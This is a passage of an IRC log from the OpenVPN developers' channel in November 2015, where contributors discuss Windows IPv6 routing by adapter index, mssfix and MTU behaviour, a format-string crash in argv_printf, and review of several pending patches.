which channel do use today? 13:10 <@mattock1> ah yes, #openvpn-meeting 13:10 <@mattock1> there was probably contradicting info in the invitation 13:10 <@mattock1> joining 13:49 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 15:18 <@mattock1> summary of the meeting sent to openvpn-devel 15:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] --- Day changed Tue Nov 10 2015 00:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:40 <@cron2> mornin' 02:01 <@mattock1> morning 02:44 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:45 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:07 <@cron2> mattock1: openvpn.org, is that us? (it has an ipv4 address that doesnot work) 03:19 < mator> does it have ipv6 address? 03:19 <@cron2> no 03:22 < mator> why not? :) 03:22 < mator> ask your ISP to give you ipv6 address 03:32 <@mattock1> cron2: openvpn.org is our domain, yes 03:41 < lev__> cron2: you mentioned that we should make "set route" use adapter index too. Did you mean "netsh interface ipv6 add route" from route.c:1779 ? 03:44 < lev__> that code uses index if r6->adapter_index is set, however on my setup it does not go into that branch, and I have to to figure out why 03:46 <@cron2> lev__: don't worry about that code, just set tt->actual to "interface=<idx>" and it will happen 03:47 <@cron2> the r6->adapter_index is only set for routes that do *not* go to the tap interface (host routes to VPN server) 03:50 <@cron2> (and that part is not in 2.3) 03:50 < lev__> cron2: ah, thats's what "vpn server special route" means 03:50 <@cron2> yes - server is 2001:608::1, pushes 2001:608::/32, overlap - so we install a route 2001:608::1/128 via "existing default gw" 03:51 <@cron2> and the "where is the existig default gw?" code returns an adapter index already... 04:21 < valdikss> I have a problem understanding mssfix documentation. I though that mssfix, despite its' name, calculates overhead for certain MTU and sets TCP MSS inside the tunnel to make packets go without fragmentation, i.e. mssfix 1450 tunes MSS so that packets can go via the internet link with MTU 1450 or higher without fragmentation. But it seems I'm wrong, I have mssfix 1450 and I see packets 1487 bytes on my internet link. 04:23 < valdikss> Inside the tunnel I have MTU 1409 and MSS 1369 with mssfix 1450. 04:23 < valdikss> (for IPV4) 04:24 < valdikss> Oh, not 1487 but 1473. 04:25 < valdikss> And the UDP packet size is 1453. 04:26 <@mattock1> there's now #openvpn-windows channel for the Windows team 04:26 <@mattock1> I'll get some lunch now 04:32 <@plaisthos> so it is off by 3 04:32 <@plaisthos> (yes the manpage should clarify that this udp size not ip size) 04:33 <@plaisthos> valdikss: server running master? 04:33 <@plaisthos> +3 could be peer-id related 04:33 < valdikss> plaisthos: 2.3.8+ 04:33 < valdikss> release/2.3 04:33 < valdikss> the same for 2.3.4 04:35 < valdikss> plaisthos: you're right, man says that the mssfix sets resulting udp packet size 04:35 < valdikss> and actually, it should be rewritten as mssfix is very useful for TCP too 04:35 < valdikss> >The --mssfix option only makes sense when you are using the UDP protocol for OpenVPN peer-to-peer communication, i.e. --proto udp. 04:36 < valdikss> this is nonsense 04:37 <@plaisthos> valdikss: hm how does it makes sense for tcp? 04:37 <@plaisthos> to try to avoid one tcp payload packet split up into two openvpn tcp packets? 04:37 < valdikss> plaisthos: in case you have 'broken' links with pmtu discovery broken and mtu not 1500 04:38 < valdikss> plaisthos: and yes, try to avoid splitting 04:38 <@plaisthos> with broken pmtu your tcp connection will break anyway 04:38 <@plaisthos> OpenVPN does not change the mtu of the tcp connection 04:38 < valdikss> plaisthos: splitting is not a very usual issue, but it will happen sometimes and always with nodelay 04:39 < valdikss> plaisthos: no it would work okay. I have several clients with ADSL and they have broken OpenVPN connectivity unless they use mssfix 1300 or something. 04:39 < valdikss> plaisthos: they connect over tcp. 04:50 <@plaisthos> I have no idea what the could be wrong in that setup that could cause this 06:25 < valdikss> By the way, OpenVPN sends UDP packets with DF flag. I can't find anything regarding this in the documentation. 08:24 <@plaisthos> valdikss: that is not an OpenVPN feature 08:24 <@plaisthos> that is standard for all IP packets since a few years 08:25 < valdikss> plaisthos: oh, I see. 11:31 < valdikss> By the way, some say that latest tap driver has latency issues https://community.openvpn.net/openvpn/ticket/603#comment:11 11:31 <@vpnHelper> Title: #603 (Tunnel latency issues on Windows 7) – OpenVPN Community (at community.openvpn.net) 11:37 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 14:35 <@vpnHelper> RSS Update - gitrepo: Add macro to ensure we exit on fatal errors <https://github.com/OpenVPN/openvpn/commit/9aebc37c45e440bda5f71b717146b5dc330d5277> || Fix (potential) memory leak in init_route_list() <https://github.com/OpenVPN/openvpn/commit/3671bd185a914dc1d91c8a967e1c3a14dedacd32> 16:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] --- Day changed Wed Nov 11 2015 00:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 00:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:52 <@cron2> argh 01:52 <@cron2> trac hates me 01:53 * cron2 tries to comment #541, and trac lets me input all just fine, and then "no permissions to add a comment" 01:54 <@cron2> and on the 3rd try, *after* copy-pasting away the input, "it just works" 04:40 <@plaisthos> spam protection :) 04:55 -!- dazo_afk is now known as dazo 06:49 <@d12fk> plaisthos: have you looked into the possibility to support IP_PKTINFO on windows already? 06:50 <@d12fk> there's WSASendMsg(), no posix api, but it seems to have the same functionality at first sight 06:51 <@d12fk> if you did not declare it unfeasible i's take a look 06:53 <@plaisthos> Did I promise to do that? 06:54 <@plaisthos> and no I have not looked into that 07:32 <@d12fk> plaisthos: no you weren't, I just stumbled over this while hacking the "state" management command patch 08:24 <@d12fk> what's the next version to be released the will contain the state command extension (yet to be posted)? 08:24 <@d12fk> 2.4? 08:27 <@d12fk> asking because the documentation will mention the version this is available from 08:48 <@cron2> unless it's simple, well-isolated and "obvious benefit to all the clients out there, today!" -> 2.4 :) 09:06 <@plaisthos> I still would like to get my two patches into 2.4 first ;) 09:15 <@d12fk> cron2: ipv6 patch on the way. you like reviewing ipv6 patches, don't you? =) 09:36 <@cron2> d12fk: looking forward to it, but have to go for Lichterfest first :) 10:20 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 10:21 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 10:22 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 10:22 -!- valdikss [~valdikss@95.215.45.33] has quit [Ping timeout: 240 seconds] 10:22 -!- reators [~holger@2001:1a80:2000:2:49a1:2e78:ccc7:a869] has quit [Ping timeout: 240 seconds] 10:22 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 10:22 -!- reators [~holger@2001:1a80:2000:2:59df:7de7:e22f:9350] has joined #openvpn-devel 10:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:16 -!- dazo is now known as dazo_afk 11:44 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 13:52 < lev__> cron2: in that case argv_printf crashes, I was too lazy to collect and analyze dump 13:52 < lev__> I mean "set address interface=%lu %s" 13:52 <@cron2> it crashes? 13:52 <@cron2> huh 13:53 <@cron2> i know we do it on unix platforms, setting "%s/%d" for "prefix/netbits", so it should not crash... but maybe it does not understand %lu 13:53 < lev__> windows says "program X stopped" or something 13:55 < lev__> index is DWORD, so I assume %lu is correct format specifier, openvpn_snprintf works just fine 13:59 <@cron2> does it work if you use %u and (unsigned int) casting? 14:01 < lev__> hm, I can try tomorrow - don't have windows box now 14:01 <@cron2> sorry for being a pain... 14:04 < lev__> well, no pain - no gain 14:08 < lev__> another thing - what would be (if any) the cross-platform way to prevent traffic leaking when switching remotes (sigusr1->hold release->remote MOD xxx) 14:14 <@cron2> uh, talk to plaisthos, he understands this stuff - I think there is a way to do make-before-break ("tun-persist"), so there is never "no tunnel" / leak 15:13 -!- noko [pavel@gate6.zhovner.com] has left #openvpn-devel ["Leaving"] 15:35 <@plaisthos> yes tun-persist works as long nothing throws a SIGHUP 15:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 17:24 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 17:24 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has left #openvpn-devel [] 17:25 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel --- Day changed Thu Nov 12 2015 00:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:19 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 01:20 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 250 seconds] 01:21 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 250 seconds] 01:23 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 04:42 -!- dazo_afk is now known as dazo 06:14 < lev__> plaisthos: hm, with persist-tun after SIGUSR1 it refuses to connect to any other remote except used one 06:24 <@plaisthos> lev__: refuse as in not resolving, or what is the problem? 06:24 <@plaisthos> if you have a log I can take a glance 06:24 <@d12fk> is mattock or mattock1 active? 06:24 <@plaisthos> I could also screwed that up in dual stack patches ... 06:34 < lev__> plaisthos: yes, "cannot resolve host address", or "TLS key neg failed to occur within 60sec" when remote is IP 06:34 <@plaisthos> hm 06:34 <@plaisthos> the second one confuses me 06:35 <@plaisthos> for the first one see preresolv which my client automatically enables if persist-tun is requested 06:37 < lev__> (I use linux client, if it matters) 06:43 <@plaisthos> should not matter 06:43 <@plaisthos> hm 06:43 <@plaisthos> preresolv is not documented in the man page 06:43 <@plaisthos> I should put that on my todo list 07:55 < valdikss> Hi guys. Does Fabian Knittel visit this channel? 07:59 < lev__> I haven't seen him here 07:59 < lev__> do you want to talk about async client-connect patches? :) 08:00 < valdikss> Yes 08:00 < valdikss> It conflicts with "Send push reply right after async auth complete " 08:01 < lev__> valdikss: you probably need to do some manual merge 08:01 < lev__> but not much, IIRC 08:03 < lev__> valdikss: it might be easier to apply first async client-connect and then "send push reply" 08:06 < lev__> plaisthos: forget what I said, it works nicely on my another test setup. Now I have to find what is the difference. 08:10 <@plaisthos> lev__: :) 08:11 * plaisthos thinks about implementing expentional backoff between connection retries 08:39 < valdikss> cron2: https://gist.github.com/ValdikSS/57f7b57f38e1823d35e6 08:39 <@vpnHelper> Title: OpenVPN block-outside-dns patch for master without Windows XP support · GitHub (at gist.github.com) 08:42 < valdikss> cron2: mattock1: I don't know how to make vista ifdef in the build system and I need your hepl 08:44 <@plaisthos> I am not 100% comfortable silently ignoring the option on !WIN32 08:45 < valdikss> plaisthos: what do you propose as a better way? 08:45 <@plaisthos> I would prefer it giving at least a warning 08:45 < valdikss> plaisthos: maybe just rename it to block-outside-dns-win? 08:45 <@plaisthos> no 08:45 <@plaisthos> either make it fail on non windows platform and note in the manpage that you can use 08:46 < valdikss> plaisthos: no, that's the worst. 08:46 < valdikss> plaisthos: imagine the server is pushing it by default and you can't connect to it. 08:46 <@plaisthos> --ignore-unknown-option lock-outside-dns 08:46 <@plaisthos> valdikss: clients just give a warning for unknown pushed options 08:47 < valdikss> I'm OK with the current approach so I'd like to hear other opinions. 08:49 < valdikss> cron2: https://gist.github.com/ValdikSS/cca53f2feee99c5e0da9 08:49 <@vpnHelper> Title: OpenVPN block-outside-dns patch for 2.3 with Windows XP support but with broken build system · GitHub (at gist.github.com) 09:11 <@plaisthos> valdikss: but silently ignoring the opiton if OpenVPN was *compiled* without Vista+ is not a good idea IMO 10:07 <@cron2> valdikss: "just leave out the build system changes" - mattock can apply local patches to make it work (he's building under linux anyway) 10:09 <@cron2> ... and I agree with plaisthos, silent ignore is not good, we should print a warning instead (or fail, and rely on --ignore-unknown-option) 10:22 <@plaisthos> and ingore-unknown-option will still print a warning 10:22 <@plaisthos> but with M_WARN instead of M_FATAL 14:06 -!- dazo is now known as dazo_afk 14:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 19:22 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Read error: Connection reset by peer] --- Day changed Fri Nov 13 2015 01:39 < lev__> cron2: "interface=%u" and "interface =%u" - these ones explode, "interface= %u" - this doesn't. Looks like something is wrong with argv_printf 01:40 <@cron2> or we're using it in ways that are not supposed to happen... I think it's not a full-featured printf parser, just certain combinations 01:40 <@cron2> I'll check 01:49 < lev__> looks like it is not happy when there a character precedes % 01:58 <@cron2> but %s/%d works... but checking misc.c, I see that this is a special case which is explicitly handled... meh 01:58 <@cron2> else if (!strcmp (term, "%s/%d")) 01:59 <@cron2> so we'll go with your initial v3 patch, then... 02:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:05 < lev__> ack, thanks! 03:08 <@cron2> lev__: the explicit-exit-notify patch is too complex to include in v2.3, but I think we could easily do the "client side only" patch (push.c, server_pushed_signal, else if (m[i] == 'N') ...) for 2.3 - that one seems to be really *really* simple and localized, and useful for todays mass of deployed non-mobile clients 03:08 <@cron2> can you send the client-side-only-for-2.3 as a separate patch, please? 03:08 <@cron2> (like we did with peer-id) 03:10 <@vpnHelper> RSS Update - gitrepo: Use adapter index instead of name for windows IPv6 interface config <https://github.com/OpenVPN/openvpn/commit/efeaf947c9c5c88d77d16ac4917c1350c447c8dc> 03:20 <@cron2> lev__: looking more closely at the v3 patch - you do wrap the *call* to multi_push_restart_schedule_exit() in #ifdef ENABLE_OCC, but not the actual function... I think this works right now because the compiler will optimize out unused static functions, but I think it should be #ifdef'ed ENABLED_OCC as well 03:21 <@cron2> (though the whole ENABLE_OCC might not be needed at all anymore, since you're not actually *using* OCC anymore... 03:21 <@cron2> "some further work is needed" :) 03:38 * cron2 pokes mattock1234 04:43 -!- dazo_afk is now known as dazo 07:57 <@vpnHelper> RSS Update - tickets: #628: OpenVPN: allow storing authentication user name in configuration <https://community.openvpn.net/openvpn/ticket/628> 09:46 <@vpnHelper> RSS Update - gitrepo: Do not hard-code windows systemroot in env_block <https://github.com/OpenVPN/openvpn/commit/7546cba4761b24f2195034dcd3407aecd43fd3be> 10:28 -!- reators [~holger@2001:1a80:2000:2:59df:7de7:e22f:9350] has quit [Quit: Leaving.] 11:25 <@mattock1> ubuntu buildslaves now build with polarssl again 11:30 <@mattock1> I emailed the maintainer of arch buildslave, so that he can fix his buildslave 11:59 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 12:47 -!- dazo is now known as dazo_afk 12:47 <@cron2> mattock1: thanks! 13:59 <@cron2> plaisthos: do you understand the management internals well enough to review d12fk's patch to STATE command? The feature looks useful, but I'm a bit lost regarding this 14:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 23:01 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 23:19 -!- Netsplit *.net <-> *.split quits: @mattock, mator 23:19 -!- Netsplit over, joins: mattock 23:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 23:23 -!- mator [~mator@195.170.63.163] has joined #openvpn-devel 23:56 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 250 seconds] 23:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 250 seconds] 23:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 23:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Sat Nov 14 2015 00:00 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds] 00:04 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 00:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 00:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ 00:25 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 252 seconds] 00:25 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+o pekster] by ChanServ 01:05 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 01:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 255 seconds] 01:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:27 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] 01:52 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 02:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:46 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 04:20 <@syzzer> cron2: interesting, the openvpn-bugs mailthread on #528 ('crash after couple of days') seems to have found the exact same bug we just fixed in the release/2.3 branch: http://marc.info/?l=openbsd-bugs&m=142540313828879&w=2 04:20 <@vpnHelper> Title: 'Re: OpenVPN crashes after some days of operation' - MARC (at marc.info) 04:21 <@syzzer> or, more precies, you just fixed ;) 04:22 -!- woodrow_ [sid13914@gateway/web/irccloud.com/x-somkooayzzpjxjxv] has joined #openvpn-devel 04:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:25 -!- woodrow [sid13914@gateway/web/irccloud.com/x-dctxvoliehthozyr] has quit [Ping timeout: 252 seconds] 04:25 -!- woodrow_ is now known as woodrow 04:30 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds] 04:32 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 05:33 < valdikss> Hi guys 05:33 < valdikss> https://gist.github.com/ValdikSS/007b227453331475ad38 Ukrainian openvpn-gui translation 05:33 <@vpnHelper> Title: gist:007b227453331475ad38 · GitHub (at gist.github.com) 05:45 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 05:50 < valdikss> He added the URL to http://picku.pp.ua/ 06:45 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 07:57 -!- mator [~mator@195.170.63.163] has quit [Ping timeout: 272 seconds] 11:51 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 13:29 <@cron2> lev__: did you see my comments yesterday? never got a response... 13:30 <@cron2> syzzer: yes, that one makes sense (and if they make their memory handling strict enough, it deserves a crash :) ). But I find the rest confusing... 13:39 < lev__> cron2: I'll be back on Monday, on a vacation and dont have laptop now. Will chech #ifdef and make client only patch. 13:40 <@cron2> lev__: ah. Actually it's more complicated than I thought... the options->ce.explicit_exit_notifcation variable is only there #ifdef ENABLE_OCC 13:40 <@cron2> because the client side code sends OCC_EXIT on exit 13:41 <@cron2> while the server side code re-uses this config flag, but does not use OCC 13:46 <@cron2> anyway, sent mail, because I need a rebase anyway :) 20:49 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 20:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 21:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 21:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 21:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Sun Nov 15 2015 19:38 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 19:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 19:40 -!- chron0 [~chrono@unaffiliated/chron0] has quit [Ping timeout: 246 seconds] 19:41 -!- chron0 [~chrono@unaffiliated/chron0] has joined #openvpn-devel 19:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:44 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:45 -!- dazo_afk is now known as dazo 20:19 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 20:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 23:46 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] --- Day changed Mon Nov 16 2015 01:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:21 -!- riddle [riddle@us.yunix.net] has quit [Remote host closed the connection] 01:21 -!- woodrow [sid13914@gateway/web/irccloud.com/x-somkooayzzpjxjxv] has quit [Ping timeout: 448 seconds] 01:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 448 seconds] 01:23 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 01:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:25 -!- woodrow [sid13914@gateway/web/irccloud.com/x-szhghedcpzzdbxjz] has joined #openvpn-devel 03:05 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:18 < lev__> cron2: since connection_entry->explicit_exit_notification is now used also outside of OCC context, I suggest to remove #ifdef ENABLE_OCC around definition 03:19 < lev__> with that we won't need to use #ifdef for accessing it in multi_process_signal 03:22 < lev__> gmane appears to be down 04:02 <@d12fk> mattock: are you not active on the windows channel 06:12 <@cron2> lev__: it's still not easy, as --help and the processing of --explicit-exit-notify is all #ifdef'ed 06:13 < lev__> cron2: grrr 06:15 < lev__> Should I update man page and display server-only part of --e-e-n if ENABLE_OCC is not defined 07:51 <@vpnHelper> RSS Update - tickets: #629: Assert at swiching remotes <https://community.openvpn.net/openvpn/ticket/629> 07:58 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 240 seconds] 08:00 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 08:25 <@cron2> lev__: sorry for being the one who spoils all the easy solutions... - but that might actually be an idea... unless compiled with not #ifdef MULTI or whatever the server side bit is called 08:33 < lev__> cron2: so, something like "if not ENABLE_OCC && P2MP_SERVER 08:34 < lev__> will check 08:34 <@cron2> this is all ugly... but basically yes 14:03 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 240 seconds] 14:06 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 14:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:11 -!- luckman212_ [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 17:11 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 17:12 -!- Netsplit *.net <-> *.split quits: luckman212, floppym 17:12 -!- luckman212_ is now known as luckman212 21:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 21:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 21:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 21:33 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 21:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 21:44 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 21:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 23:05 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 23:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 23:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:07 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:07 -!- Guest83647 [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:07 -!- mode/#openvpn-devel [+o Guest83647] by ChanServ 23:07 -!- Guest83647 is now known as dazo 23:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 23:10 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 250 seconds] 23:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 23:13 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 23:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Tue Nov 17 2015 02:06 <@mattock1> posted a global announcement to forums about #openvpn-windows: https://forums.openvpn.net/topic20238.html 02:06 <@vpnHelper> Title: OpenVPN Support Forum New IRC channel (#openvpn-windows) now open : Off Topic, Related (at forums.openvpn.net) 02:26 -!- floppym_ [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:29 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:40 < valdikss> Running self compiled OpenVPN release/2.3 with deferred patch and my radiusplugin fork and it crashes :( 03:40 < valdikss> Not sure why or where yet 03:43 <@cron2> lev__: thanks for v4. In Bucharest this week, so will merge weekend-ish 03:43 < lev__> cron2: ack 03:43 <@cron2> valdikss: ouch :( 03:43 < valdikss> And this https://github.com/ValdikSS/openvpn-radiusplugin/issues/1 03:43 <@vpnHelper> Title: Upstream source for Debian package · Issue #1 · ValdikSS/openvpn-radiusplugin · GitHub (at github.com) 03:46 <@cron2> that is actually quite nice :) 03:48 < valdikss> Actually, I had a problems with some of Samuel Thibault patches before and that's why I used only some of them I needed the accounting for IPv6 to work 03:49 < valdikss> I ran OpenVPN under gdb that time and the backtrace was completely insane and nonsense. 03:49 < valdikss> So probably, I hope, I'm hitting the same issue right now. 03:52 < lev__> valdikss: what do you mean by deferred patch? The one from Fabian? 03:52 < valdikss> lev__: yes 03:53 < lev__> We use it with master for more than year in production, so far looks good 03:53 < lev__> never tried with 2.3 03:53 < valdikss> lev__: I 03:53 < valdikss> lev__: 'm talking about a bug in radiusplugin 03:54 < valdikss> lev__: I've added deferred support to the radiusplugin and I'm sure it's buggy 03:57 < valdikss> lev__: and previously I had crashes with stock radiusplugin with all patches by Samuel Thibault, so I applied only one patch I needed — IPv6 accounting support. 06:01 < lev__> Suppose I have remote A and B. After connecting to remote A, openvpn sets routing to <remote-A-ip>/32 via default gw and 0.0.0.0/1 via virtual endpoint. After SIGUSR1 and switching to remote B, openvpn refuses to connect to remote B unless I explicitly route <remote-B-ip>/32 via default gw 06:03 < lev__> so I wonder, shouldn't we modify routing before connecting to remote B 06:03 < lev__> Oh and I use persist-tun 06:23 <@cron2> lev__: we'd need to, because it won't work otherwise - either restore routing, or add extra host route 06:23 <@d12fk> cron2: quick reminder about the state patch, before it goes bad 06:24 <@cron2> d12fk: which one? 06:24 <@cron2> ah, "the state patch" not "the state of the patch" 06:24 <@d12fk> cron2: on a related note shall we schedule a meet-up in Dec. for the service thingie? 06:24 <@cron2> I'm hoping for plaisthos to have a look, as he understands the management interface better 06:25 <@cron2> I did briefly skim it, and can feature-ACK it, but had not enough time to fully understand the code yet 06:25 <@cron2> (in bucharest this week...) 06:25 <@d12fk> ok, nice move delegating to plaisthos =) 06:25 <@d12fk> asking bacause i have the related GUI patch ready 06:25 <@cron2> "areas of expertise", he's actually using the management interface :) 06:26 <@cron2> anyway... I have it on my list. 06:27 <@cron2> regarding meetup: yes! 06:31 <@d12fk> cron2: rather on the weekend or during the week? 06:32 <@d12fk> when mattock is not in #openvpn-windows, does it make sense to talk to mattock1 there? 06:32 <@cron2> either variant is annoying someone, either my customers or my family, so I'll have to live with it... 06:33 <@cron2> dunno regarding mattock473... sometimes it works, sometimes not... he really needs a better IRC client 06:34 <@d12fk> cron2: we could do it as virtual meeting, don't know if it will be productive 06:34 <@d12fk> agenda is bring interactive service into mainline, right? 06:34 <@cron2> that sounds like a great idea actually - do a virtual dedicated meeting during the week (=kids in kindergarden) 06:34 <@cron2> and no time lost to traveling 06:35 <@d12fk> and 